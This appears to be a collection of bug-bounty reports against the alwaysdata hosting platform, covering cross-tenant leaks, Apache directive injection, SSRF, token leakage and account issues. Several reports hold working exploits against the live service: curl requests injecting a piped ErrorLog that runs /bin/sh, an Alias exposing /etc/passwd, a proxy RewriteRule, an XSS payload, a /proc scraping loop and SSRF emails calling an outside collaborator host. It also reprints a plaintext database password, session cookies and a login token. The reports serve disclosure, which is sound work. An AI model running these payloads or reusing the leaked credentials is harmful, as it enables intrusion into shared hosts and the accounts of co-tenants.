Security vulnerabilities

Severity: 4.3 — Medium

Target Feature: Shared cron daemon (/admin/cron/, platform-wide scheduler)

Vulnerability Class: CWE-208 — Observable Timing Discrepancy

Root Cause: alwaysdata's shared cron infrastructure uses a platform-level scheduler that processes tenant cron jobs sequentially within the same second window. When two tenants schedule jobs at identical times, execution delay is measurable. Additionally, the API endpoint GET /api/v1/cron/ returns a next_run timestamp that is computed differently depending on whether a conflicting job is already queued — creating a timing oracle.

Attack Narrative:
Step 1: Attacker registers an account and creates a cron job at * * * * * (every minute), noting the API-returned next_run value via GET https://api.alwaysdata.com/v1/cron/[id]/.
Step 2: Attacker creates dozens of additional cron entries at the same schedule and measures the progressive drift in next_run values (delta between creation timestamp and computed next_run).
Step 3: By correlating drift patterns at specific minutes of the day, attacker maps load spikes to specific time slots, inferring which tenants have cron jobs at those times and approximately how many — useful for fingerprinting high-traffic or high-value accounts.
Step 4: Cross-referencing with DNS/WHOIS data for co-hosted domains, attacker identifies competitor SaaS products running batch jobs and infers their processing schedules for competitive intelligence or targeted timing attacks.

Impact: Competitive intelligence leakage, inference of tenant operational patterns, targeted DoS scheduling to coincide with victim batch windows.

Remediation: Add uniform random jitter (±500ms–2s) to all next_run computations returned by the API. Process cron job queue entries in random order within each second window. Do not expose scheduler-computed next_run with millisecond precision in API responses.

Severity: 6.5 — Medium

Target Feature: Shared hosting PHP-FPM worker pool (/proc filesystem, shared Linux host)

Vulnerability Class: CWE-200 — Exposure of Sensitive Information to an Unauthorized Actor

Root Cause: On alwaysdata's shared hosting tier, multiple tenants run under the same PHP-FPM master process pool. PHP-FPM workers update their Linux process title (visible in /proc/[pid]/cmdline and ps aux) to reflect the currently-executing script path and request URI. Because tenant processes share a kernel, any tenant with SSH access can read /proc/*/cmdline for all processes on the host.

Attack Narrative:

Step 1: Attacker provisions a free/starter alwaysdata shared account and gains SSH access.
Step 2: Attacker runs a loop: while true; do cat /proc/*/cmdline 2>/dev/null | tr '\0' ' ' | grep php-fpm » dump.txt; sleep 0.05; done for ~60 seconds.
Step 3: The dump reveals other tenants' script paths (e.g., /home/victim/www/admin/reset_password.php?token=abc123), exposing password reset tokens, admin panel URLs, and internal application structure in real time.
Step 4: Attacker correlates exposed tokens with timing to identify high-value targets and performs account takeover on co-hosted sites.

Impact: Real-time cross-tenant request URI and query string leakage, including session tokens, password reset links, and internal admin paths. Direct account takeover on victim sites.
Why It's Ignored: Process title inspection is considered an OS-level concern, not an application security issue, so it falls through the cracks between infrastructure and AppSec teams.

Remediation: Configure PHP-FPM with process.dumpable = no and set /proc/sys/kernel/yama/ptrace_scope to 2 (admin-only). Use per-tenant Linux user namespaces or PID namespaces to hide /proc entries across tenant boundaries. Audit whether hidepid=2 is set on the /proc mount for shared nodes.

Summary

An authenticated user on a free account can inject arbitrary Apache directives through the `vhost_additional_directives` field on `PATCH /v1/site/{id}/`. The API performs zero validation every directive tested is written verbatim into the tenant's Apache VirtualHost config and applied on reload. This is a regression of #305, which was marked fixed.

The injection yields three attack primitives: local file inclusion via `Alias` (read any world-readable file on the bare-metal shared host), server-side request forgery via `RewriteRule [P]` (proxy requests from the server's IP to any address including internal services and co-tenant Apache instances), and command execution via piped `ErrorLog` (shell commands as the account user, even with SSH disabled). On a shared hosting platform where hundreds of tenants share the same physical server, this crosses trust boundaries.

CVSS 3.1: 9.6 Critical — AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N
Scope is Changed: the vulnerable component is the API (`api.alwaysdata.com`), but impact lands on the underlying Apache infrastructure and co-tenant services that the attacker should have no access to.

* * *

Steps to Reproduce

Prerequisites: Free Alwaysdata account with one site using Apache (`httpd=apache`). Enable 2FA, create an API token at `admin.alwaysdata.com/token/add/`. Note your site ID from `GET /v1/site/`.

Step 1  Confirm zero validation (inject Alias for LFI)

TOKEN='YOUR_API_TOKEN'
SITE_ID='YOUR_SITE_ID'

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "Alias /readfile /etc/passwd\n<Location /readfile>\n  Require all granted\n</Location>"}'
# Returns: 204 — accepted without any validation

Wait ~10 seconds for Apache reload, then:

curl -s "https://YOUR_ACCOUNT.alwaysdata.net/readfile"

Result: HTTP 200 — full `/etc/passwd` returned (1,764 bytes). First line: `root:x:0:0:root:/root:/bin/bash`. File contains all system accounts and every tenant account on the shared host, exposing usernames and UIDs.

The same technique reads any world-readable file. Reading the tenant's own Apache config at `/home/{account}/admin/config/apache/sites.conf` reveals the full server architecture: per-tenant Apache instances listen on internal ULA IPv6 addresses (pattern `fd00::7:XXXX:8080`), nginx terminates TLS on `:443` and reverse-proxies to them. This internal topology is not intended to be visible to tenants.

Step 2  SSRF via RewriteRule [P] (reaches internal services)

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "RewriteEngine On\nRewriteRule ^/proxy/(.*)$ http://example.com/$1 [P,L]"}'
# Returns: 204

curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proxy/"
# Returns: 200 — full body of example.com, proxied through Alwaysdata IP 185.31.40.30

`mod_proxy` and `mod_proxy_http` are loaded. `ProxyRequests Off` only blocks forward proxy — `RewriteRule [P]` reverse proxy is unrestricted. The attacker can target any URL reachable from the server, including:

- Co-tenant Apache instances on their internal ULA IPv6 addresses (`fd00::7:XXXX:8080`), bypassing all nginx frontend controls, TLS termination, WAF rules, Host-header routing, and IP allowlists. Each tenant's Apache is directly addressable.
- Internal management services on localhost (e.g., port 8083 returns `401 Unauthorized` — an authenticated management interface exists on the host).
- Other tenant application servers on port 8100 (Node.js, Python, Java apps bound to internal addresses).

The internal addresses are discoverable from the Apache config files readable via Step 1, or via command execution in Step 3.

Step 3 Command execution via piped ErrorLog

curl -s -o /dev/null -w "%{http_code}" \
  -u "$TOKEN:" -X PATCH \
  "https://api.alwaysdata.com/v1/site/$SITE_ID/" \
  -H "Content-Type: application/json" \
  -d '{"vhost_additional_directives": "ErrorLog \"|/bin/sh -c '"'"'id > /tmp/rce_proof; cat > /dev/null'"'"'\"\nAlias /proof /tmp/rce_proof\n<Location /proof>\n  Require all granted\n</Location>"}'
# Returns: 204

curl -s "https://YOUR_ACCOUNT.alwaysdata.net/proof"
# Returns: uid=514115(atkhunt01) gid=514115(atkhunt01) groups=514115(atkhunt01)

Apache is compiled with `AP_HAVE_RELIABLE_PIPED_LOGS`. The piped `ErrorLog` directive spawns a shell process on Apache reload. The process runs as the account user (privilege drop occurs before pipe spawn). This grants arbitrary command execution even when SSH access is disabled for the account, making it an access control bypass on the SSH restriction.

Combined with LFI (Step 1), the attacker can discover the server is a bare-metal shared host (not a VM or container): hostname `http20`, Debian 12.13, kernel `6.12.69-alwaysdata`, AMD EPYC 7203P, 128 GB RAM, RAID arrays (`/dev/md2`–`md5`), dual NIC bonding, and a shared `/tmp` (tmpfs, 2GB) accessible to all tenants on the machine.

* * *

Why This Is Critical (Scope Change)
This is not equivalent to SSH access. The unique impact of directive injection:

1. Bypasses SSH-disabled restriction. Administrators can disable SSH per-account as a security control. Directive injection grants equivalent command execution through the API alone, rendering that control ineffective.

2. Crosses tenant boundaries via SSRF. The SSRF primitive reaches co-tenant Apache instances on internal IPv6 addresses that are not routable from the internet. Requests arrive at the tenant's Apache directly, bypassing nginx, TLS, WAF, rate limiting, and Host-header routing. This is a network path that does not exist for normal users — not even SSH users, unless they explicitly discover and target these addresses.

3. Exposes infrastructure topology. The LFI + RCE combination reveals the full architecture of the shared hosting platform: server hardware, kernel version, RAID layout, network bonding, internal DNS, per-tenant addressing scheme, and the existence of internal management interfaces. This is reconnaissance data that enables targeted attacks against the hosting infrastructure itself.

4. Zero input validation — complete regression of #305. Report #305 identified `Alias` injection via this field and was marked fixed. The current state shows no validation whatsoever on any directive. Every Apache directive valid in VirtualHost context is accepted: `Alias`, `ErrorLog` (piped), `CustomLog`, `RewriteRule [P]`, `ProxyPass`, `AddHandler`, `ScriptAlias`, `Include`, `Options`, `SetEnv`, `FcgidInitialEnv`, and arbitrary `<Directory>`/`<Location>`/`<If>` blocks. The fix for #305 either regressed or was never fully implemented.

* * *

## Affected Infrastructure

* * *

## Impact

An attacker with a free account can:

- Read any world-readable file on the shared host, including system configuration, internal DNS topology, and all tenant usernames/UIDs from `/etc/passwd`
- Proxy requests to any internal service or co-tenant application, bypassing all frontend security controls
- Execute arbitrary commands, bypassing SSH-disabled restrictions
- Discover the full infrastructure topology of the shared hosting platform
- Write to shared paths (e.g., `/tmp/`) via `CustomLog` with attacker-controlled content

All from a single API call on a free account. No user interaction required.

* * *

## Recommended Fix

1. Immediate: Implement a strict allowlist of permitted directives for `vhost_additional_directives`. At minimum, block: `Alias`, `ErrorLog`, `CustomLog`, `RewriteRule` with `[P]` flag, `Include`, `ScriptAlias`, `ProxyPass`, `SetHandler`, `AddHandler cgi-script`, and `FcgidInitialEnv`.
2. Long-term: Parse each directive server-side before writing to config. Validate against Apache's directive context rules and reject anything not in an explicit allowlist. Consider whether `vhost_additional_directives` should exist at all for non-enterprise accounts.

The application allows any user to register an account with any email address without requiring email verification or activation. Furthermore, the system allows the registration of high-value usernames (e.g., administrator) and immediately grants access to the platform.
Because the "Forgot Password" and "Activation" systems are currently non-functional, an attacker can effectively "brick" or "squat" on any email address, preventing legitimate users from ever joining the platform or recovering their intended identities.

Technical Details
A. Lack of Registration Verification
The registration endpoint does not send a verification link to the provided email. Upon submission of the registration form, the user is immediately authenticated into the system.
B. Account Pre-Occupation (Squatting)
An attacker can register using a victim's email address (e.g., real-admin@company.com). Because the system marks this email as "in use," the legitimate owner is blocked from registering.
C. Denial of Service (Recovery Loop)
The "Forgot Password" function fails to send reset links to inactivated accounts. Since there is no way for a user to "activate" an account they didn't create, the email remains permanently locked in a "zombie" state within the database.

## impact
Identity Impersonation: Attackers can claim usernames that imply authority (Admin, Support, Moderator), which can be used for social engineering/phishing against other users.
Permanent User Lockout: Legitimate users are prevented from using their own email addresses on the platform.
User Enumeration: The registration form can be used to confirm if a specific person (via email) is already a member of the board.

## remediations

Enable Mandatory Activation: Configure phpBB to require "User Activation" via email before allowing a login session.
Disallowed Usernames: Add admin, administrator, and webmaster to the "Disallowed Usernames" list in the phpBB Administration Control Panel (ACP).
Fix SMTP Configuration: Ensure the server is correctly configured to send outgoing mail so legitimate users can utilize the "Forgot Password" tool to reclaim squatted accounts.

Video demonstration is attached below

regards..

A significant HTML Injection vulnerability exists in phpPgAdmin 7.13.0. The application fails to sanitize the server parameter before rendering it within the administrative dashboard's server list. Testing confirmed that an attacker can inject arbitrary HTML tags to manipulate the Document Object Model (DOM), break the table structure, and redefine the information displayed to the administrator. This flaw directly compromises the Integrity of the management interface.
its explained in CVE ID: CVE-2025-60796 Which matches the phpPgAdmin version

STEP - TO - REPRODUCE

1-go to `https://phppgadmin.alwaysdata.com/phppgadmin/`
2- login with admin/admin ( misconfiguration using default creds been reported before and ignored)
3- https://phppgadmin.alwaysdata.com/phppgadmin/sequences.php?server= <img%20src='aaa'%20onerror=alert(1)>
4- navigate to `https://phppgadmin.alwaysdata.com/phppgadmin/servers.php` and observe that new host been added with the payload in html format which means it was rendered succeffuly this open up the door for many other attacks i didn't try to exploit it further

#impact

Loss of UI Integrity: Administrators can no longer trust the data displayed in the "Host," "Port," or "User" columns, as these can be rewritten via a crafted URL.

Misinformation Attacks: Attackers can label legitimate production servers as "Offline" or "Testing" to trick administrators into performing destructive maintenance.

Phishing/Social Engineering: The ability to inject clickable links and styled text allows for sophisticated internal phishing attacks within the trusted application domain.

Foundation for XSS: While this report focuses on HTML Injection, the lack of sanitization is the direct precursor to Cross-Site Scripting (XSS), as evidenced by successful reflection of tags like <svg> and <img>.

a recommendations can be suggested after confirming the issue

regards..

Description:
An Internationalized Domain Name (IDN) homograph attack is a cybersecurity deception technique where an attacker uses characters from different scripts (e.g., Cyrillic, Greek, Latin) that look visually identical or similar to create fraudulent domains. For example, replacing a Latin 'a' with a Cyrillic 'а' can create a spoofed domain that appears legitimate to users, enabling phishing or malware distribution.

Steps to Reproduce:

1. Go to https://www.alwaysdata.com/en/register/.
2. Put admin@example.com and then password to create the account.
3. Then, go to again https://www.alwaysdata.com/en/register/.
4. Input admin@example.coｍ and then password to create the account.
5. You can see that account already exsits.

Impact:

Attacker can setup a dns to reset and takeover victim account.
Access personal data of user.
No user interaction required to takover the account.

#Note:

I tested in Bugcrowd and hackerone platform, they doesn't have it.

Thank You,

Waleed Anwar

Hi security team , the subdomain phppgadmin.alwaysdata.com specifically this like 'https://phppgadmin.alwaysdata.com/phppgadmin/login.php?server='

It grant access for default credentials admin:admin which then prompt the user into a login page for internal postgresql servrt , i didnt try to brute force it but this one attack vector among others that can be used to access the database , its essential to hide such a subdomains from public access and move the server into internal network subnet or restrict access using web-app-firewalls that returns 403 based on certain rules theres too many ways to inhance the security of this subdomain .

I hope you found this report helpful in securing your assets

Regards..

Summary:
While using the SSH environment, I observed that the `df -h` command displays numerous mounted directories under /home that appear to belong to other users.

Description:
After logging into my account via SSH and running `df -h`, I can see multiple mount points such as /home/<username> that are not associated with my account. These seem to correspond to other users hosted on the same infrastructure.

Steps to reproduce:
1. Connect to the SSH environment
2. Run: df -h
3. Observe multiple /home/<user> mount points listed

Impact:
This may allow user enumeration and reveals internal structure of the multi-tenant environment. While I did not attempt to access any other user data, the visibility of these mounts could potentially aid further attacks if combined with other vulnerabilities.

Notes:
- No attempt was made to access, modify, or interact with other users’ data
- This report is based on observation only
- observed about ~450 users information was available

Request:
Please confirm whether this behavior is expected and whether additional isolation measures are in place.

## Summary

25 JavaScript source map files (.js.map) are publicly accessible on static.alwaysdata.com without authentication. These contain the original, unminified source code totaling 410,699+ characters across the admin panel modules, including:

- Internal API endpoint patterns and CSRF handling logic
- Feature flag names and conditional logic
- Reseller module business logic
- Template file paths and component structure
- Permission system implementation details
- Support ticket system leaking data to languagetool.org

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-540: Inclusion of Sensitive Information in Source Code

## Steps to Reproduce

### 1. Download the admin panel core source map (605 KB)
curl -s -o core.js.map 'https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map'
wc -c core.js.map
# 605039 bytes

### 2. Verify it contains original source code
cat core.js.map | python3 -c "import json,sys; d=json.load(sys.stdin); print('Sources:', len(d.get('sources',[])), 'Files'); print('Content length:', sum(len(s) for s in d.get('sourcesContent',[])) if s))"

### 3. Accessible source maps (sample)
https://static.alwaysdata.com/aldjango/administration/main-D6bqDpvz.js.map https://static.alwaysdata.com/aldjango/administration/core-Iu2w3-Ub.js.map https://static.alwaysdata.com/aldjango/administration/ui-permissions-DpuZ1RMH.js.map https://static.alwaysdata.com/aldjango/administration/ui-ticket-BVXE_RGY.js.map https://static.alwaysdata.com/aldjango/administration/reseller-DPWgpuvi.js.map https://static.alwaysdata.com/aldjango/administration/ui-account-list-CaFjNbCY.js.map https://static.alwaysdata.com/aldjango/administration/sepa-e5qTgeYD.js.map https://static.alwaysdata.com/aldjango/administration/forms-ChhNVii8.js.map https://static.alwaysdata.com/aldjango/administration/ui-reseller-0hFmHN89.js.map https://static.alwaysdata.com/aldjango/administration/ui-server-BejAFuIr.js.map https://static.alwaysdata.com/aldjango/administration/website/main-CbRxCCzg.js.map

## Attack Scenario

1. Attacker downloads all 25 source maps
2. Reconstructs the complete admin panel client-side application
3. Identifies API endpoint patterns, authentication flows, CSRF handling
4. Maps feature flags and conditional code paths
5. Discovers support ticket system sends text to languagetool.org/api/v2/check (third-party data leak)
6. Uses internal knowledge to craft targeted attacks against admin panel

## Impact

- Full source code exposure: 410K+ characters of unminified admin panel code
- Reconnaissance advantage: API patterns, auth logic, permission checks exposed
- Third-party data leak: Ticket system sends content to external API - Internal architecture knowledge: File paths, component structure revealed

## Remediation

1. IMMEDIATE: Remove source map files from production static asset server
2. Disable source map generation in Vite production build: build.sourcemap = false
3. If needed for error tracking, use Sentry source map upload API (server-side only)

## Summary

When a new user registers at www.alwaysdata.com/fr/inscription/, the server issues a redirect to:
https://admin.alwaysdata.com/login/?user_id={ID}&expiration={TS}&token={HMAC}

This auto-login URL contains a full authentication token in the query string. The admin panel embeds Matomo analytics (tracker.alwaysdata.com, site ID 5) which calls trackPageView(), sending the complete URL — including the authentication token — to the Matomo analytics server. The token is replayable within a ~10-minute window.

## Severity: Medium (CVSS 5.3)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE-598: Use of GET Request Method With Sensitive Query Strings

## Steps to Reproduce

### 1. Register a new account
Navigate to https://www.alwaysdata.com/fr/inscription/ and create a new account.

### 2. Observe the redirect URL with token
The response is a 302 redirect to:
Location: https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb

### 3. Verify Matomo tracking on the landing page
curl -s 'https://admin.alwaysdata.com/login/' | grep -A5 'Matomo'

The page contains:
var _paq = window._paq = window._paq || [];
_paq.push(['trackPageView']); // Sends full document.location.href including token
_paq.push(['setSiteId', '5']);
_paq.push(['setTrackerUrl', u+'matomo.php']);

### 4. Verify token replay
curl -c replay-cookies.txt 'https://admin.alwaysdata.com/login/?user_id=447830&expiration=1773913147&token=1773912547-4daaa78c707abdeb31fb'
A valid session cookie (sessionid) is set when token is within expiration window.

## Attack Scenario

1. Attacker compromises the Matomo analytics database
2. Queries for page views matching /login/?user_id=*&token=*
3. Filters for tokens with expiration timestamps in the future
4. Replays auto-login URLs to hijack newly-registered accounts

## Impact

- Account takeover: Any valid auto-login token can be replayed
- Token leakage: Matomo logs, analytics DB, browser history, browser extensions
- Scale: Affects every new registration on the platform

## Limitations

- Token has ~10-minute expiration window
- Exploitation requires access to Matomo database or server logs

## Remediation

1. Use POST-based auto-login instead of GET parameters with tokens in URL 2. Strip sensitive query parameters before Matomo tracking: _paq.push(['setCustomUrl', window.location.pathname]);
3. Implement single-use tokens invalidated after first use

## Summary

The Flyspray security bug tracker at security.alwaysdata.com publicly exposes 265 vulnerability reports without authentication. The exposed data includes:

1. Full PoC details for reported vulnerabilities (SSRF, OAuth ATO, XSS, etc.)
2. Plaintext credentials (phpMyAdmin: projets_baltic / LouisCelestin004@# in  FS#100 )
3. 132+ downloadable PoC attachments via sequential ID enumeration
4. Admin-researcher conversations revealing internal infrastructure details
5. Researcher identities (usernames for all 265 reports)
6. .git repository metadata exposing admin email (cbay@alwaysdata.com), 941 source file paths
7. Real-time vulnerability pipeline monitoring via RSS feed

## Severity: Critical (CVSS 9.1)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
CWE-200: Exposure of Sensitive Information

## Steps to Reproduce

### 1. Access the task list (no authentication required)
curl -s 'https://security.alwaysdata.com/?do=tasklist&status[]=open&status[]=closed'
Returns all 265 vulnerability reports with titles, assignees, status, and reporter names.

### 2. Read a vulnerability report with plaintext credentials
curl -s 'https://security.alwaysdata.com/task/100'
 FS#100  contains phpMyAdmin credentials: Username projets_baltic, Password LouisCelestin004@#.

### 3. Read a full SSRF PoC with internal IP
curl -s 'https://security.alwaysdata.com/task/307'
 FS#307  contains: complete SSRF exploit chain targeting Roundcube webmail, internal IP 185.31.40.185, GuzzleHttp user-agent, 0-click exploitation via _safe=1 parameter.

### 4. Subscribe to real-time vulnerability feed
curl -s 'https://security.alwaysdata.com/feed.php?feed_type=rss2&project=1'
RSS feed delivers new vulnerability reports as they are submitted — before patches are deployed.

### 5. Download PoC attachments by ID enumeration
curl -s -o poc_screenshot.png 'https://security.alwaysdata.com/?getfile=130'
IDs 1 through 132 are accessible.

### 6. Access .git repository metadata
curl -s 'https://security.alwaysdata.com/.git/config'
curl -s 'https://security.alwaysdata.com/.git/logs/HEAD'
Reveals: remote origin, admin identity (Cyril Bay, cbay@alwaysdata.com), 941 source file paths.

## Attack Scenario

1. Attacker discovers security.alwaysdata.com via subdomain enumeration
2. Browses task list to find OPEN/ASSIGNED bugs (currently 12 assigned = unpatched)
3. Reads  FS#307  to get a complete SSRF exploit chain with internal IP
4. Downloads all 132 PoC attachments
5. Extracts phpMyAdmin credentials from  FS#100  6. Subscribes to RSS feed to monitor new reports in real-time
7. Weaponizes unpatched vulnerabilities during the window between report and fix

## Impact

- Credential exposure: Plaintext database credentials accessible to anyone
- Vulnerability weaponization: Full PoCs for unpatched vulnerabilities
- Intelligence gathering: Internal IPs, server architecture, admin identities
- Persistent monitoring: RSS feed provides real-time vulnerability intelligence

## Additional Findings
- Weak CSP: script-src 'self' 'unsafe-inline' 'unsafe-eval'
- Outdated JS: Prototype.js 1.7 and script.aculo.us 1.9.0 (2010)
- PHP path disclosure in registration errors
- Session cookie missing Secure and SameSite flags
- Flyspray 112 commits behind upstream

## Remediation

1. IMMEDIATE: Restrict access to security.alwaysdata.com — require authentication
2. IMMEDIATE: Block .git directory access at web server level
3. IMMEDIATE: Rotate exposed credentials (audit all 265 tasks)
4. SHORT-TERM: Disable public self-registration
5. SHORT-TERM: Update Flyspray (112 commits behind upstream)
6. MEDIUM-TERM: Implement proper CSP, add Secure/SameSite cookie flags

Summary: The endpoint https://admin.alwaysdata.com/permissions/add/ is vulnerable to a complete lack of rate limiting and missing function-level access controls. An authenticated attacker can send hundreds of requests in a short time to add new users or grant permissions to existing users without any restriction (CAPTCHA, 429 status code, or account lockout). This was confirmed by receiving a "Profile initialization" email from Alwaysdata for the injected email address.

Steps to Reproduce: Log in to your Alwaysdata admin account.

Open Burp Suite (or any HTTP proxy) and intercept the request when adding a new user or permission via the /permissions/add/ endpoint.

Send this request to Intruder (or any automation tool).

Set a payload position on the email parameter (e.g., email=victim%2Bpayload@example.com).

Configure the payloads to generate 100 different email addresses (using %2B addressing or random strings).

Start the attack. Send all 100 requests without any delay.

Observe the responses.

Check your email inbox associated with the payload email addresses.

Proof of Concept : Intruder Results (Attached Image ): The attached screenshot shows that 100 requests were sent. All returned a 302 Found status code with identical response lengths. No rate limiting (e.g., 429 status) was observed.

Confirmation Email (Attached Image ): The second screenshot shows an email received from Alwaysdata titled "Profile initialization…" confirming that a new user/profile was created or permissions were granted due to the automated requests. This proves the vulnerability has a real impact.

Impact: An attacker can automate the creation of hundreds of user accounts or grant permissions to existing accounts.

This can lead to denial of service (filling the database), account takeover, and privilege escalation.

The lack of rate limiting makes it trivial to brute-force or enumerate valid user addition processes.

Suggested Fix:

Implement strict rate limiting on the /permissions/add/ endpoint (e.g., max 5 requests per minute per user/IP).

Implement CAPTCHA for sensitive actions like adding users.

Ensure proper function-level access control checks are performed for every request.

Hello Security Team,

I would like to report a security issue identified while testing authenticated account behavior through the API within my own alwaysdata account.

Name of vulnerability:
Authenticated API allows direct modification of account product reference resulting in premium-tier subscription state before payment workflow completion

Description:
While testing within my own alwaysdata account and using an API token generated through the administration interface, I observed that the authenticated account update endpoint accepts direct modification of the `product` field associated with an existing account object. When a valid premium product identifier is submitted through the account PATCH endpoint, the API accepts the change and updates the account object immediately.

After the modification is accepted, the subscription object reflects the new premium-tier product and corresponding pricing, and the administration interface displays the upgraded subscription together with the associated infrastructure values. During verification, this state appeared before any payment method was configured and while the billing section continued to show zero balance and no recorded transaction.

The observation may indicate that product assignment through the API is applied before the full subscription payment workflow is completed, or that additional validation is intentionally deferred. Because the behavior affects subscription state, API object values, and visible infrastructure allocation simultaneously, I am reporting it for review to confirm whether this is expected across all account states.

Steps to reproduce and proof of concept:
First, an API token was created from the administration interface and used with HTTP Basic authentication.

The initial account state was verified through:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/"

The response showed the account associated with its original product identifier, corresponding to the initial assigned plan. This state is attached in image 01_api_original_product_state.png.

Next, the account object was updated using:

curl -u "342d00dc" -X PATCH "https://api.alwaysdata.com/v1/account/463*/" -H "Content-Type: application/json" -d '{"product":2011}' The API accepted the modification successfully. The accepted request is attached in 03_api_patch_request_accepted_http204.png. A follow-up request to the same account endpoint returned the updated product reference: curl -u "342d00dc" "https://api.alwaysdata.com/v1/account/463*/"

The updated response is shown in 02_api_product_changed_to_premium.png.

The subscription endpoint was then queried:

curl -u "342d00dc" "https://api.alwaysdata.com/v1/subscription/"

The returned subscription object reflected the premium-tier product with corresponding price and expiry information, shown in 04_subscription_price_updated_without_payment.png.

The administration interface then displayed the premium plan under subscriptions, visible in 05_ui_premium_subscription_active.png.

The usage dashboard displayed the associated premium resource values, including increased disk, RAM, and CPU allocation, visible in 06_ui_infrastructure_resources_allocated.png.

The payment section showed no configured payment method in `07_no_payment_method_configured.png`, while billing remained at zero balance with no transaction shown in 08_billing_balance_zero_no_transaction.png.

All verification was performed only on infrastructure attached to my own account.

Impact:
The observed behavior suggests that authenticated modification of the account product reference may allow premium subscription state to be reflected in account configuration before billing validation is finalized through the standard subscription workflow.

Because the updated product is visible both through API responses and in the administration interface, and because premium resource values appear in the usage view during the same state, this may represent an authorization consistency issue between account configuration and billing enforcement.

I am not asserting unintended abuse, only reporting that the technical sequence appears to permit product state transition before payment-related confirmation becomes visible in the account.

Vulnerable HTTP Request and Response:

Request:

PATCH /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Content-Type: application/json
Authorization: Basic <token> {
"product": 2011
} Response: HTTP/1.1 204 No Content Verification request: GET /v1/account/463*/ HTTP/1.1
Host: api.alwaysdata.com
Authorization: Basic <token>

Verification response excerpt:

{
"id": "…",
"product": {
"href": "/v1/product/2011/"
}
}

Subscription verification response excerpt:

{
"product": {
"href": "/v1/product/2011/"
},
"price": "165.000000000000000"
}

Remediation:
A possible mitigation would be to validate product changes server-side against the expected subscription and billing workflow before allowing direct modification of the account object through the public API. Premium product identifiers could either be restricted from direct account PATCH operations or accepted only after confirmation that the account is already eligible for the requested subscription state through the intended billing path.

Another possible approach would be to separate product object updates from actual infrastructure activation until billing confirmation is complete.

Please let me know if any additional details would be helpful.

Best regards

Dear alwaysdata security team,

While performing security research on alwaysdata services, i identified a Server-Side Request Forgery (SSRF) vulnerability at webmail.alwaysdata.com.

When i send an HTML email containing <link rel="stylesheet"> tags to a webmail user, and they preview the message, your server fetches those URLs server-side using GuzzleHttp. i was able to confirm that this is a 0-click vulnerability by directly calling the preview endpoint with _safe=1 parameter, the SSRF triggers automatically without the user clicking “Allow remote resources”.

This allows an attacker to make your server issue HTTP requests to arbitrary URLs, including internal network resources. i was also able to confirm content exfiltration.
Impact

An attacker can force the server to make HTTP requests to internal network services, perform port scanning, and potentially exfiltrate sensitive data from internal endpoints.
Proof of Vulnerability

i set up a Burp Collaborator listener and sent an email with a malicious <link> tag pointing to my collaborator domain. When i previewed the email with _safe=1, i received an HTTP request from your server, this IP 185.31.40.185 belongs to alwaysdata infrastructure:

WHOIS Data:

inetnum:    185.31.40.0 - 185.31.43.255
netname:    FR-ALWAYSDATA-20130719
descr:      ALWAYSDATA SARL
country:    FR
org:        ORG-AS291-RIPE
ASN:        AS60362

This confirms the HTTP request originated from your server, not from my browser.
PoC
Step 1: Send Malicious Email

POST /roundcube/?_task=mail&_action=send HTTP/2
Host: webmail.alwaysdata.com
Content-Type: application/x-www-form-urlencoded
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
X-Roundcube-Request: M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9

_token=M1HcH0yTzJMkS4Fa6ltUw9tD4Z4iFaH9&_task=mail&_action=send&_id=104032622669b7340a72208&_from=70213&_to=payload-life@alwaysdata.net&_subject=Test&_is_html=1&_message=%3C!DOCTYPE+html%3E%3Chtml%3E%3Chead%3E%0A%3Clink+rel%3D%22stylesheet%22+href%3D%22http%3A%2F%2Fm3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com%2Fssrf-poc.css%22%3E%0A%3C%2Fhead%3E%3Cbody%3ESSRF+Test%3C%2Fbody%3E%3C%2Fhtml%3E

Decoded email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://m3qaymssgnoizwnm93ykj2x60x6nuc.oastify.com/ssrf-poc.css">
</head>
<body>SSRF Test</body>

Step 2: Preview Email with _safe=1

GET /roundcube/?_task=mail&_framed=1&_uid=8&_mbox=INBOX&_safe=1&_action=preview HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/html

The _safe=1 parameter bypasses the “Allow remote resources” prompt. The response contains modcss links that trigger the SSRF.
Step 3: Trigger SSRF via modcss

The preview response contains links like:

<link rel="stylesheet" href="./?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css">

When this modcss URL is fetched, the server makes the SSRF request:

GET /roundcube/?_task=utils&_action=modcss&_u=tmp-41706b4d345bb0a5fe2f6e82d3caa57e.css&_c=message-htmlpart1&_p=v1 HTTP/2
Host: webmail.alwaysdata.com
Cookie: roundcube_sessid=85c4e1f4be4058204070116c78cc1199; roundcube_sessauth=<AUTH_TOKEN>
Accept: text/css

This request causes the server to fetch the attacker’s URL server-side using GuzzleHttp.
Step 4: Internal Enumeration (Optional)

To target internal services, use this email body:

<!DOCTYPE html>

<head>
<link rel="stylesheet" href="http://127.0.0.1/">
</head>
<body>Internal enumeration</body>

Steps to Reproduce

  Login to webmail.alwaysdata.com with a valid account
  Generate a Collaborator payload or webhook
  Send an HTML email to yourself with a malicious <link> tag (see Step 1)
  Preview the email with _safe=1 parameter (see Step 2)
